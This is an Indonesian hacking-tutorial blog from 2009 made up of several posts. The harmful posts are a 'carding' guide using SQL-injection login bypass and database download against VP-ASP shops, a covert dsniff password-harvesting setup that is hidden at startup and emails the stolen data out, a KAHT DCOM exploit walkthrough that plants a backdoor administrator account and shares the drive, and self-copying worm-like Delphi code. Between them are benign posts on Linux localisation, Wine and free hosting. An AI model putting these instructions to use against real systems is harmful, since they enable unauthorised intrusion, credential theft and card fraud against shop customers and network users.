Sabtu, 07 November 2009

CARDING: VP-ASP Shopping Cart


SQL injection
--------------------



1. Buka search engine Favorit anda. Gunakan keyword berikut:
allinurl:shopadmin.asp
atau gunakan:
allinurl:vp-asp

2. Misalnya target adalah www.Peretas77.net, maka kemungkinan URLnya adalah:

www.Peretas77.net/vp-asp dir/shopadmin.asp
atau
www.Peretas77.net/shopadmin.asp


3. Lakukan SQL Injection..
www.Peretas77.net/vp-asp dir/shopadmin.asp
login : 'or''=' atau login : admin passwd : 'or''=' passwd : 'or''='

 




4. Jika berhasil, anda akan melihat apa yang anda cari didalamnya ;)





Download database
-----------------------
Metode kedua :
-------------- 


1. ketika injection falied maka kita coba download database nya :P~

2. contoh URL target:

www.Peretas77.net/vp-asp dir/shopdbtest.asp
atau
www.Peretas77.net/shopdbtest.asp

3. Jika anda beruntung maka anda akan mendapatkan informasi sensitif: 

  - xDatabase
- xDblocation
- xdatabasetype
- xEmail
- xEmailName
- xEmailSubject
- xEmailSystem
- xEmailType
- xOrdernumber 


4. Lihat dimana lokasi file *.mdb berada:  


- xDatabase ---> untuk mengetahui nama file *.mdb nya.
- xDblocation ---> untuk mengetahui lokasi file *.mdb nya.

Contohnya :
- xDatabase = shopping200
- xDblocation = shop

Maka apa yang anda cari berada pada:
www.Peretas77.net/shop/shoping200.mdb
 

Download ajah, lalu buka dengan MS Access. ;)









Read rest of entry

Meng-'Indonesia'-kan Linux Mandrake

Pertengahan 2004 lalu Microsoft mengeluarkan paket bahasa Indonesia untuk windows. Hmm.. sepertinya Bill Gates ingin agar "produknya" semakin disukai mudah dimengerti. Lalu bagaimana dengan Linux si 'Hacker OS'.?? Tenang ajah... kita-kita para pecinta Linux ngga' usah iri pada si Bill Gates, karena bagaimanapun juga linux akan selalu lebih unggul. Sebenarnya fitur bahasa Indonesia sudah di sediakan Linux Mandrake dalam paket penginstalannya jauh sebelum Microsoft mengeluarkan paket bahasa Indonesia untuk Windows.

Ok, PERETAS akan memberikan langkah-langkah mudah untuk mengaktifkan fitur bahasa Indonesia pada Linux Mandrake. Langkah-langkah berikut bisa kamu coba untuk hampir semua versi mandrake.

1. Siapkan ketiga CD penginstalan Mandrake. Sekarang masuklah ke Mandrakelinux Control Center melalui [k] [system] [Mandrake control center]. Setelah itu, klik [Software Management] lalu pilih [Instal]
2. Akan muncul daftar paket software yang belum terinstal. Pilih paket kde-i18n-id-3.2.-4mdk dan locales-id-2.3.3.5-5mdk.
3. Mandrake akan meminta anda memasukan CD 3 paket penginstalan Mandrake. Masukan CD tersebut dan tunggu proses hingga selesai.
4. Jika proses instalasi sudah selesai, buka KDE control center memalui [k] [system] [KDE control center]. Kemudian pilih [Accessibility] [Country-Region & Languuge]
5. Klik tombol drop-down [country] [Asia] [Indonesia] dan secara otomatis Mandrake akan mengeset bahasa dan seluruh unsur lokalnya ke setting Indonesia. Klik [Apply] lalu logout lah dari system untuk melihat perubahan secara menyeluruh.

Naah... kemudian kamu akan melihat bahwa hampir seluruh service menu dan menu-menu lainnya telah berubah menjadi berbahasa Indonesia. Apakah benar-benar berubah total? Tidak!! Menu [k] dan aplikasi-aplikasi yang besar tidak akan mengalami perubahan ke dalam bahasa Indonesia.

Sekian tutorial sederhana dari PERETAS. Semoga bermanfaat bagi kamu-kamu yang belum mengetahui.
Read rest of entry

Memanen Password Di Jaringan Lokal dengan dsniff

Baru mulai tertarik masalah keamanan? Pingin ngebuktiin ketidakamanan jaringan lokal kepada admin? Atas permintaan umum (dan seringnya teman-teman admin nanyain tentang sniffing), berikut adalah cara cepat (kurang lebih 15 sampai 30 menit) memanen password dengan menggunakan teknik yang sangat awam: ethernet sniffing. Tentunya akan dibahas juga cara-cara pendeteksian dan pemberantasannya.

Komunikasi ethernet pada dasarnya adalah komunikasi tipe "siaran" (broadcast). Paket-paket ethernet dari mesin yang satu sebetulnya dilihat oleh setiap komputer yang tergabung dalam suatu jaringan lokal. Paket-paket ini dibuang jika alamat MAC-nya tidak cocok dengan alamat node tujuan.
Nah, dengan menggunakan software-software 'network sniffer', paket-paket ethernet (beserta isinya) yang melewati kartu ethernet tertentu tidak dibuang begitu saja, melainkan dianalisa. Banyak kegunaan sniffing, tapi di artikel ini penulis hanya membahas sniffing password dengan menggunakan program paten karangan Dug Song (www.monkey.org/~dugsong) dsniff.

dsniff aslinya adalah software Unix, dan teman-teman yang punya Linux/BSD bisa langsung ngedownload dan compile dsniff dari http://www.monkey.org/~dugsong/dsniff). Artikel ini membahas penggunaan di
jaringan lokal berbasis Windows, sebab artikel ini ditujukan untuk pemula, dan mereka-mereka yang pingin memanen password tapi nggak punya akses ke Unix. Program dsniff ini punya spesialisasi menggarap password dari berbagai protokol, dan memformat hasil panenan dalam bentuk yang mudah dibaca.
Protokol yang bisa ditangani oleh dsniff antara lain adalah FTP, Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP, Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ, Napster, Citrix ICA, Symantec pcAnywhere NAI Sniffer, Microsoft SMB, dan Oracle SQL*Net auth info.

Penggunaan dsniff tidak begitu jauh berbeda antara versi Win32 dengan versi Unix-nya. Kelebihan yang bias dinikmati pengguna Unix saat ini adalah adanya dua program tambahan di dsniff yang membuat dsniff versi Unix lebih perkasa, mampu memanen password dari jaringan berbasis "ethernet switch" atau "active hub", jadi tidak terbatas ke jaringan "hub" saja.

Bahan-bahan/Persyaratan:
--------------------------------
LAN lokal untuk target, yang terhubung dengan menggunakan "ethernet hub" (bukan switch)
- mesin Windows 95, 98 atau ME (untuk 2000 dan XP, kamu mesti punya hak administrator di mesin yg akan digunakan untuk memanen) yang terhubung ke LAN target
- WinPCap library, download dari http://netgroup-serv.polito.it/winpcap/install/bin/WinPcap.exe
- dsniff port to Win32, download dari http://www.datanerds.net/~mike/binaries/dsniff-1.8-win32-static.tgz
(gunakan WinZip untuk nge-extract file-file .exe-nya)

Cara Memasak
------------------

- Install WinPcap library. Doubleclick winpcap.exe dan ikuti petunjuk di layar (tinggal pencet "Next","Next","Finish")
- Extract file dsniff...tgz nya ke suatu directory (sebaiknya di bawah
C:\Windows atau tempat lain yang nggak terlalu mencurigakan - untuk artikel ini, anggap saja disimpan di C:\WINDOWS\DS)
- Mulai memanen password. Dari start menu, klik "Run", ketik "command". Pindah ke direktori tempat disimpannya dsniff ("cd \windows\ds"). dari prompt C:> tinggal ketik "dsniff".
- silakan menonton password-password milik pengguna ditampilkan di layar

Catatan:
----------
Ada kemungkinan anda harus menspesifikasikan kartu ethernet mana yang ingin disadap. Untuk melihat daftar-daftar interface yang tersedia, ketik "dsniff -D" dari prompt DOS. Anda akan melihat daftar interface yang tersedia. Jika secara default dsniff mencoba menyadap interface yang salah, gunakan "dsniff -i [ketik nama interface disini]".

Pengembangan lebih lanjut
---------------------------------

Untuk menyimpan daftar password yang terpanen ke sebuah file, tambahkan perintah "-w [namafile]" ke program dsniff. Contoh: "c:\WINDOWS\DS>dsniff -i ELNK3 -w password.db"

untuk membaca file yg dibuat dsniff, berikan perintah "-r [namafile]"
contoh: "C:\WINDOWS\DS>dsniff -r password.db"

secara opsional, jika anda ingin file hasil panen ini disimpan dalam bentuk file ASCII:
"C:\WINDOWS\DS>dsniff -r password.db > panen.txt",

panen.txt siap disajikan.

Yang lebih asyik lagi, bisa kita konfigurasikan agar usaha panen kita tetap berjalan walaupun komputer tersebut di-reboot.Caranya gampang. Mula-mula download dulu program "start minimized" (sm.exe) dari http://www.ethernal.org/List-Archives/curves-kiddies-0010/msg00029.html. Simpan program ini di
C:\WINDOWS. Kemudian kita bikin batch file yang bisa dijalankan dari command prompt. Gunakan Notepad atau "edit" untuk membuat file ini, dan sebagai isi:
@echo off
sm /hidden c:\windows\ds\dsniff.exe -w > password.db

(tambahkan perintah opsional seperti "-i ELNK3" jika perlu)

Nah, simpan file ini (sebagai "ds.bat", misalnya), dan pindahkan file ini ke folder "Startup" lewat Start menu supaya tiap kali komputer di-restart, program dsniff kita dijalankan juga, siap untuk memanen. Program "sm" diatas berfungsi menjalankan program secara tersembunyi supaya tidak mencurigakan.
Tentu saja, biar lebih nggak mencurigakan lagi, rubah nama dsniff.exe ke nama lain, dan jangan lupa ngeganti perintah "dsniff" dengan nama yang baru di semua command dan batch file.
Sekarang anda bisa tinggalkan komputer tersebut, dan dikemudian waktu kembali lagi untuk memeriksa sejauh mana hasil sadapan anda bekerja (dengan perintah "dsniff -r password.db > panen.txt" lalu "notepad panen.txt").


Membuat sadapan lebh portabel
-----------------------------
Untuk membuat disket dsniff, file-file yang anda perlukan adalah: dsniff.exe
wpcap.dll (cari di C:\WINDOWS\SYSTEM atau C:\WINDOWS\SYSTEM32 untuk Win2K/XP) wpcap.vxd packet.dll

simpan file-file ini ke disket (A:), dan tinggal dibawa disketnya ke LAN target. Penjalanan perintah masih tetap sama seperti diatas, kecuali lokasi prompt nya bukan di :\WINDOWS\DS>, melainkan di A:\>.
Jika anda butuh tantangan tambahan, gunakan perintah "at" dan program pengirim email blat.exe" untuk mengirimkan hasil panenan ke alamat e-mail anonimus anda setiap jam atau bahkan setiap 5 menit. Jangan lupa bagi-bagi hasil :).

Tambahan-tambahan
-----------------
Port dsniff-win32 juga mengandung beberapa utility ekstra, seperti mailsnarf (untuk membaca lalu lintas e-mail di jaringan lokal), urlsnarf (untuk membaca alamat-alamat website yang dikunjungi pengguna LAN sekitar anda), dan webspy (untuk menguntit jejak surfing mesin tertentu).

Silahkan anda coba main-main dengan utiliti-utiliti ini, penulis yakin akan ada gunanya. Harap diingat bahwa teknik diatas hanya mempan untuk LAN yang terhubung melalui "ethernet hub". Jika kebetulan LAN anda menggunakan "ethernet switch", bukan berarti nggak ada harapan. Pengguna versi
Unix-nya dsniff bisa cengar-cengir, sebab paket dsniff versi Unix mengandung dua program tambahan: arpspoof (untuk 'menipu' mesin-mesin lain agar mengirimkan paket ke mesin anda) dan macof (untuk membanjiri "switch" lokal dengan alamat-alamat MAC acak, biasanya berakibat "ethernet switch"
yang ditargetkan menjadi bingung dan mengubah mode menjadi default, bertingkah laku seperti "ethernet hub").

Deteksi, Pencegahan, dan Penanggulangan
---------------------------------------
Sebagai admin, anda bisa mendeteksi kartu-kartu ethernet di LAN anda yang menjalankan dsniff (dan progarm-program sejenis dsniff) karena secara prinsip, untuk meng-capture paket-paket, interface ybs harus berada dalam mode "promiscous". Jadwalkan program-program ini untuk berjalan setiap 5 menit, dan konfigurasikan agar komputer pendeteksi mengemail anda jika ada aktifitas-aktifitas mencurigakan.
Utiliti yang bisa anda gunakan termasuk "promisc", "CPM", "ifstatus", atau yang lebih yahud lagi, utilitas buatan grup hacking Portugal The Apostols yang bernama "NePED" (http://metalab.unc.edu/pub/Linux/distributions/trinux/src/neped.c). Untuk platform Windows, tersedia produk-produk komersil seperti LANGuard/LANSniffer atau AntiSniff dari L0pht Heavy Industry (http://www.l0pht.com/antisniff). Diantara produk-produk diatas, sebagian besar hanyalah bisa mendeteksi adanya sniffer jika dijalankan di mesin lokal. Untuk mendeteksi network secara remote, gunakan NePED atau AntiSniff.

Jika anda punya budget, beli switch ethernet yang nggak nge-default ke "hub mode" kalau di-flood alamat-alamat MAC palsu. Kalau anda nggak ngerti, harap ngambil kursus "Pengenalan TCP/IP" atau berhenti jadi admin. Juga harap ingat bahwa banyak perusahaan-perusahaan yang mengklaim menjual hub yang tak bisa disadap, tapi ternyata hanya menjual hub tipe "active huub" yang biasanya tidak bisa menghandel traffic Fast Ethernet (100 Mbps).

Cara paling handal untuk mencegah bocornya informasi sensitif lewat network adalah dengan menggunakan enkripsi. Pakailah SSH, SCP (pengganti FTP) atau SFTP, TLS (untuk memeriksa e-mail), SSL dan HTTPS (untuk transaksi web), tunelling, dll. Usahakan agar jangan sampai ada program yang mengirimkan password tanpa enkripsi melalui jaringan yang anda kelola. Juga selalu periksa keadaan hard disk anda.
Seringkali sniffer-sniffer meninggalkan jejak berupa file hasil panenan yang berukuran besar (apalagi jika LANnya sibuk).

Cara lain mengamankan network anda adalah dengan memindahkan topologi jaringan anda ke sistem token ring, _dan_ menggunakan kartu-kartu ethernet Token-Ring buatan IBM (iklan sabun colexz). Tapi tentunya metode ini tidaklah praktis bagi anda yang ingin tetap menggunakan topologi star atau hybrid.
Read rest of entry

Mengakses Aplikasi Windows pada Linux

Kita tentunya pernah mendengar apa itu Linux ? Linux adalah Sistem Operasi (OS), yang merupakan variant dari Unix, kalo sudah "Unix" tentu kebanyakan dari kita beranggapan sesuatu hal yang kelihatanya sulit, benarkah demikian ? Pernah disalah satu media cetak disebutkan bahwa biasanya pengguna Linux adalah para Profesional IT/MIS/Programmer.

Kita harus menghilangkan anggapan bahwa Unix/Linux itu hanya khusus bagi golongan tertentu saja, siapapun kita, apapun profesi kita, selama kita memiliki komputer yang mencukupi kita bisa mencoba install dan menjalankannya. Tapi kita tidak akan membahas bagaimana cara installasi tapi bagaimana mengoptimalkan Linux anda salah satunya dengan menjalankan khususnya aplikasi windows yang pernah dan masih berjalan, dijalankan di Linux.

Kita semua tentu sudah kenal dengan MS-Windows dan aplikasinya, karena memang sudah populer dikalangan pengguna PC. Masalahnya sekarang apabila kita menginstall Linux di PC yang sudah terpasang OS Windows95, apakah aplikasi-aplikasi yang sudah terpasang di windows masih bisa dijalankan di Linux ?

Jawabnya BISA !, asalkan komputer kita bisa menjalankan win95 dan xWindows Linux, dengan menggunakan WINE dapat diperoleh di (http://www.winehq.com)

Wine
====

Apakah wine ? Wine adalah sebuah sebuah program yang dapat menjalankan aplikasi win16, win32. Wine ini berjalan baik pada aplikasi win95 atau sebelumnya. Wine adalah Windows-compatibility layer untuk Unix dan X11. Wine terdiri dari:

Sebuah API, yang kompatibel dengan MS-Windows API Sebuah Library, disebut Winelib, yang mengimplementasi API Sebuah Binary compability layer yang menjalankan Windows binari.

Kebutuhan Sistem
=================

1. Sistem komputer yang dibutuhkan adalah :
2. Linux versi 0.99.13 atau yang lebih baru.
3. Sistem X windows
4. Jika menggunakan RedHat harus Libxpm
5. Gcc 2.7.x atau yang terbaru.

Installasi
==========

Untuk RedHat ambilah yang versi RPM, karena akan memudahkan kita untuk installasi. Untuk downloadnya dapat diambil di:

http://www.winehq.com/download.html

Setelah kita ambil yang versi rpm, misalnya disimpan di direktory /root .
Untuk installasi ketikan :

#rpm ^ضi wine*

Tunggu sampai keluar prompt #
File hasil installasi akan terbentuk di lokasi :
/usr/local/bin/wine

File Program eksekusi
/usr/local/etc/wine.conf

File Konfigurasi secara Global
~/.winerc

File untuk user-user yang menjalankan wine
/usr/local/lib/wine.sym

File tabel Umum untuk Symbol (digunakan untuk Debuging) Apabila kita mengambil yang versi tar.gz maka kita harus menguncompressnya dulu, setelah itu jalankan ./configure

Untuk memanggil program/Aplikasi windows dapat menjalankannya seperti dibawah ini, di dalam term Xwindows Linux.

[root]# /usr/local/bin/wine /dosc/windows/mshearts.exe
[root]# /usr/local/bin/wine /dosc/windows/sol.exe
[root]# /usr/local/bin/wine /dosc/windows/notepad.exe


Untuk mengetahui aplikasi apa saja yang dapat berjalan di Wine ini anda bisa cek di: http://www.winehq.com/Apps

Kesimpulan
==========

Agar aplikasi Windows kita bisa dijalankan di Linux, kita harus install OS- Windows dahulu, setelah itu dipartisi yang lain kita install Linux. Harddisk yang berisi aplikasi Windows harus dimount terlebih dahulu agar bisa dibaca oleh Linux.

(contoh: mount /dev/hda1 /dosc), apabila kita masuk ke /dosc berarti kita mengakses harddisk yang berisi windows tadi (drive C/D dalam aplikasi DOS/WIN).

Dibutuhkan memory komputer yang cukup, untuk menjalankan aplikasi windows ini dikarenakan aplikasi windows sendiri banyak minta memory.
Read rest of entry

Minggu, 20 September 2009

Masuk komputer lain dengan system operasi win xp/2000 dengan DCOM Exploit (II)

Yang dimaksud DCOM exploit disini adalah kaht,Langkah pertama yaitu download program kaht ii terlebih dahulu (search pakek google) letakkan di directory sesuai dengan keinginan anda, biasanya bentuk file dalam Zip coba extract file tersebut setelah ter exstrack kaht bisa digunakan.

Selanjutnya tentukan alamat ip target misal : 192.168.0.12


selanjutnya : Kaht 192.168.0.11 192.168.0.12

keterangan :

192.168.0.11 adalah IP (komputer tagret) awal

192.168.1.12 adalak IP (komputer target) akhir

karena disini kita akan mengexploitasi ip 192.168.0.12 kita gunakan kaht 192.168.0.11 192.168.0.12 karena ip 192.168.0.11 merupakan range terkecil agar exploitasi berjalan lebih cepat sesuai dengan target kita.

Jika komputer target berhasil di exploitasi maka akan muncul akan muncul tampilan kurang lebih sebagai berikut :

------------------------------------------------------------------------
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit, Modified by At4r@wdesign.es
#haxorxitos && #localhost @efnet Ownz you!!!
Full VERSION :) AUTOHACKING
-------------------------------------------------------------------------
[+] Targets : 192.168.0.11-192.168.0.12 eith 50 Threads
[+] Attacking Port. Remote Shell At ports: 36388
[+] Scan in Progress....
- Connecting to 192.168.0.12
Sending Exploit to a [win2k] Server....
- Connectando con la shell REmote...

Microsoft Windows 2000 [VErsion 5.00.2195]
Copyright 1985-2000 Microsoft Corp.

c:\WINNT\system32>


Sampai disini kita sudah berhasil masuk ke komputer target dan kita berada di directory kerja c:\WINNT\system32>

Sampai disini terserah anda mau malkukan apapun, sesuai keinginan anda disini kita akan coba malakuakn sharing file dan membuka file sharingan tersebut di komputer kita dengan terlebih dahulu menambahkan user ID setingkat administrator.


Untuk melakukan penambahan user di pc Target

C:WINNTsystem32>net user peretas77 login /add

net user peretas77 login /add
The command completed successfully.

Perintah yang kita gunakan diatas adalah perintah [net user] [nama_user] [password_user] [/add]. Jadi, sesuai dengan contaoh diatas maka kita telah membuat "peretas77" sebagai nama user dan passwordnya adalah "login".
Setelah user berhasil dibuat selanjutnya kita memberikan autority pada user peretas77 dalam groups administrator

C:\WINNT\system32>net localgroup Administrators peretas77 /add

net localgroup Administrators peretas77 /add
The command completed successfully.


Perintah [net localgroup] [Nama_gorups] [nama_user] [/add] akan menambahkan user peretas77 kedalam groups daministrator pada kumputer local (komputer target), administrators adalah grups dari administrator tersebut dan untuk peretas77 adalah nama user yg ditambahkan dalam gruop administrator.

setelah berhasil masuk, cobalah buat user gruops administrator

C:WINNTsystem32>net user peretas77 login /add

setelah itu masukan user peretas77 ke groups administrator

C:WINNTsystem32>net localgroup Administrators peretas77 /add

setelah itu sharing drive-nya

C:WINNTsystem32>net share c=c:

catatan user id nya terserah lo kasih apa sesuai keinginana lo..
oh ya

untuk menggunakan sharing drive tersebut bisa gunakan perintah net use

pertama buka dos promt baru di komputer kita
selanjutnya ketik berikut:

c:> net use * \\ip_address\drive_c * /u:peretas77
Type the password for \\ip_addres\C: <--- masukan password disini


ket : berdasarkan perintah diatas IP_address adalh IP komputer target dan drive_c adalah nama sharing drive dari komputer taget dan untuk u:/peretas77 bahwa kita masuk dengan menggunakan user paluared (biasanya di dalam winxp/win2000 terdapat sharing defaultnya yaitu C$, d$ dst, jika ini
sang admin belum merubah hal tersebut kita dapat langsung melakukan net use atau tanpa melakukan net share berdasarkan default sharing ini )

cat IP-Addres bisa juga di isi dengan nama computer untuk keterangan nya lo bisa baca manualnya net use /? setelah berhasil bisa liat di windows explorer

C:\WINNT\system32>net share drive_c=c:\

drive_c adalah nama sharing sedangkan c:\ adalah drive yang kita sharing.

net share Drive_c=c:\
c was shared successfully.

ket : berdasarkan perintah diatas kita melakukan telah sharing drive yaitu drive C dengan memberikan nama drive_C
Read rest of entry

MEMBUAT PROGRAM YANG DAPAT MENGCOPY DIRINYA OTOMATIS

Source code program dalam DELPHI. Program ini akan mengcopy dirinya otomatis ke tempat yang dinginkan.. yeah mirip-mirip worm gitu deech.. ;) Thanks to CodeMaker .. Great work man ;)



var
Form1: TForm1;
ExeString: String;

implementation

{$R *.DFM}
////////////////////////////////////////////////////////////////////////////////
procedure Extract(A,B: String;Var C,D: String);
Var
E,F: Integer;
begin
if Pos(uppercase(A),C) > 0 then
begin
E := Pos(uppercase(A),C)+length(A);
F := Pos(uppercase(B),C);
D := Copy(C,E,F-E);
end;
end;
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
procedure Exe2String(var A:String);
Var
ExeStream: TFileStream;
MyStream: TMemoryStream;
begin
ExeStream:=TFileStream.Create(Application.ExeName,fmOpenRead or
fmShareDenyNone);
Try
SetLength(A, ExeStream.Size);
ExeStream.ReadBuffer(Pointer(A)^, ExeStream.Size);
Finally
ExeStream.Free;
end;
end;
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
procedure Delay(ms : longint);
var
TheTime : LongInt;
begin
TheTime := GetTickCount + ms;
while GetTickCount < TheTime do
Application.ProcessMessages;
end;
////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
Var
MyStream: TMemoryStream;
name,C,Temp: String;
D,E: integer;
begin
exe2String(ExeString);////////////////////////////Get entire exe file from HD
//and store in global variable
//ExeString.


if pos(uppercase('soname'),exestring) > 0 then //Check if exe contains a
begin //users name already
and if
delay(500); //it does then see if
the
if pos('_clone',application.exename) = 0 then //running exe is a temporary
begin //clone program.. if
it is
not
name := application.exename; //a clone then attempt to delete
Insert('_clone',name,(length(name)-3)); //any clone that may be in the
deletefile(name); //applications directory. This
end; //ensures that no clone will
//ever remain after exe has
//been customized.....


////////////////////////////////////////////////////////////////////////////////
edit1.visible := false; ///////////////////////It has been determined that
form1.color := $00c6aa84; //the running exe has already been
form1.height := 300; //customized..so alter the exe's
//appearance to reflect that fact
//This is where you put any setup code you want
//to run when it has been determined that the exe
//has ALREADY been modified! Code to check for a
//valid usename+key,to alter the exe's appearance
//or whatever you want to do to change the way the
//now modified prog is to act should be done HERE!end;


////////////////////////////////////////////////////////////////////////////////
//The code below runs IF it is determined that the currently running exe is
//a temporary clone program..... this code will delete the original exe file
//from the HD and then save a new copy of itself to the HD with the original
//exe name...DO NOT REMOVE THE delay(500) line! The program will fail sometimes
//if you do! Since the currently running exe is a clone that means it already
//has been modified and in fact is identical to the final exe that it is saving
//to disk with the original name... as soon as the new exe is saved to disk
//this code runs it...then immediately terminates itself .. the clone commits
//hari kiri :-) and since every time a customized exe starts up it attempts
//to delete it's clone from the current directory this clones remaining life
//on disk is limited to 1/2 second......
if pos('_CLONE',uppercase(application.exename)) <> 0 then
begin
delay(500);
name := application.exename;
Delete(name,length(name)-9,6);
if deletefile(name) then
begin
MyStream := TMemoryStream.Create;
try
MyStream.WriteBuffer(Pointer(ExeString)^, Length(ExeString));
MyStream.savetofile(name);
finally
MyStream.Free;
ShellExecute(Handle, 'open',
pchar(name), nil, nil, SW_SHOWNORMAL);
application.terminate
end;
end
else showmessage(name+' not found');//this displays if it was determined that
//the running exe is a clone but for some
//crazy reason the original exe file is
//not found in the current directory :-(


end;

//The code below extracts the user name string from the exe file
//and displays it as a caption...but you could retrieve whatever
//data you had stored and do whatever you want with it :-)


if Pos(uppercase('soname'),exestring) > 0 then //Extract Name string
begin //from exe file and
Extract('soname','eoname',ExeString,Temp); //display as the button
SpeedButton1.Caption := 'Program is Registered to '+Temp;//caption :-)
end;
end;
////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////
//The code in the SpeedButton event handler below modifies the string held in
//the global variable ExeString...this string contains the entire exe file as
//string data...it modifies ExeString by adding data to it's end... the data is
//held between the demarcators 'SONAME' and 'EONAME' these mark off the data
//and make it possible to find it later and extract it from the running exe
//After ExeString is modified it is saved to a new file in the current directory
//with the exe's name plus '_clone' so if the exe name is myprog.exe the clone
//that is saved will be myprog_clone.exe... as soon as the clone exe is saved
//to disk the program runs it and then terminates itself :-)
//The reason uppercase('soname') is used is because the program would find the
//data 'SONAME' at the wrong point in the exe file if you did not do it this way
//ditto for uppercase('eoname') this is an IMPORTANT POINT!


procedure TForm1.SpeedButton1Click(Sender: TObject);
var
MyStream: TMemoryStream;
MyFile,newname: string;
A,B: Integer;
begin
If Speedbutton1.Caption <> 'Enter Your Name Below Then Click Here To
Customize Exe'then
begin
exit;
end;
begin
if edit1.text = '' then
begin
showmessage('Please enter a name in the Edit Box!');
exit;
end;
MyStream := TMemoryStream.Create;
try
//in line below you tack on the new data :-)
ExeString := ExeString + uppercase('soname') + Edit1.Text
+ uppercase('eoname');

MyStream.Clear;
MyStream.WriteBuffer(Pointer(ExeString)^,
Length(ExeString));//string
2 stream

newname := application.exename; //change name to make it a clone!
Insert('_clone',newname,length(application.exename)-3);

MyStream.savetofile(newname);//save stream to file as a temporary
clone!
finally
MyStream.Free;
end;

ShellExecute(Handle, 'open', //run the clone you just
saved!
pchar(newname), nil, nil, SW_SHOWNORMAL);

application.terminate; //die little proggie
die! :-)
end;

/* ------------------------------|EOF|------------------------------ */
Read rest of entry

Tips Bagi Webmaster Dengan Hosting Gratisan

Website kini memang makin marak. Jika dulu hanya sedikit bocah-bocah SMP (semasa peretas77 masih SMP sich..) yang memiliki website, kini hampir semuanya memiliki situs pribadi, tak peduli apakah hanya sekedar iseng berisikan profil diri atau yang lebih serius. Yeah.. meskipun website semakin hari semakin banyak, namun tidak sedikit juga yang hanya berisi "SAMPAH". Untuk apa membangun website jika hanya berisi profil dan tak ada informasi baru yang bermanfaat?

Webhosting di Internet banyak bertebaran dimana-mana. Ada yang berbayar, banyak juga yang gratisan. Naah... mengapa harus bayar jika ada yang gratis? Jawabannya mungkin bermacam-macam. Bagi kamu yang sedang berencana membuat website pribadi dan sedang mencari webhosting gratisan, pertimbangkan hal-hal berikut:

1. Bandwidth

Sepertinya bandwidth adalah hal yang vital. Jika situsmu benar-benar menarik dan dikunjungi oleh banyak orang hampir setiap harinya (kayak www.peretas77.net neeh.. hehehe... becanda koq.. ) kamu harus pertimbangkan untuk memilih webhosting dengan bandwidth yang besar.

2. Space yang besar

Besar-kecilnya Space yang ditawarkan juga harus kamu pertimbangkan. Ngga' nyaman dong kalo kita harus membuat account baru gara-gara spacenya kurang sementara file yang belum kita upload masih banyak. Kita harus buang-buang waktu untuk mengedit file html kita..

3. Banner

Kebanyakan hosting gratisan menyertakan banner, baik berbentuk frame ataupun berbentuk header. Naah.. pilih yang bannernya paling kecil dan tidak makan tempat. Usahakan jangan memilih webhosting yang menyertakan banner berupa popup window karena kebanyakan pengunjung tidak menyukai hal ini. Mereka akan malas mengunjungi situsmu.

4. FTP

Pilih webhosting yang dapat diakses melalui FTP. Hal ini akan mempersingkat waktumu untuk mengupload file.

5. Server Yang digunakan

Cari webhosting sesuai dengan bahasa apa web kamu dibuat dan dukungan apa saja yang kamu butuhkan. Misalnya kamu membuat suatu website dinamis dengan PHP, maka cari server Linux, jiak nanatinya membutuhkan database, cari yang memiliki dukungan MYSQL dll.. dll... Jadi pada intinya, sesuaikan dengan kebutuhan kamu ;)

6. Peraturan Dari Web Hosting Itu sendiri.

INGAT!! JANGAN PERNAH MELANGGAR PERATURAN!! Kamu harus tau diri bahwa kamu "menumpang" di webserver orang. Jika webhosting tersebut melarang kamu menghapus banner mereka, "MAKA JANGAN SEKALI-KALI MEMBANTAI BANNER IKLAN MEREKA SECARA ILEGAL" atau kamu akan mengalami nasib yang sama denganku (hiks... jadi sedih dech inget masa lalu...) seluruh file yang selama ini kamu upload dengan mengorbankan waktu, uang, tenaga, pikirang, nyawa... ?????!!! (hehehe..) akan DIHAPUS TANPA SISA. Perhatikan juga file jenis apa saja yang diperbolehkan diupload. Misalkan GEOCITIES.COM. Mereka tidak mengizinkan user mengupload file yang mengandung VIRUS. Jika kamu lakuakn hal itu, kamu akan mengalami nasib yang sama dengan sevenC. Dan parahnya, yang dihapus bukan hanya file Virusnya saja, tapi SEMUA FILE YANG SUDAH KAMU UPLOAD.

Sekian tutorial dari Peretas77. Mudah-mudahan dapat dijadikan sebagai pelajaran bagi kamu semua... dan mudah-mudahan kamu tidak mengalami nasib yang sama menyedihkannya denganku...
Read rest of entry
 

Tutorial Hacking Copyright © 2009 Gadget Blog is Designed by Ipietoon Sponsored by Online Business Journal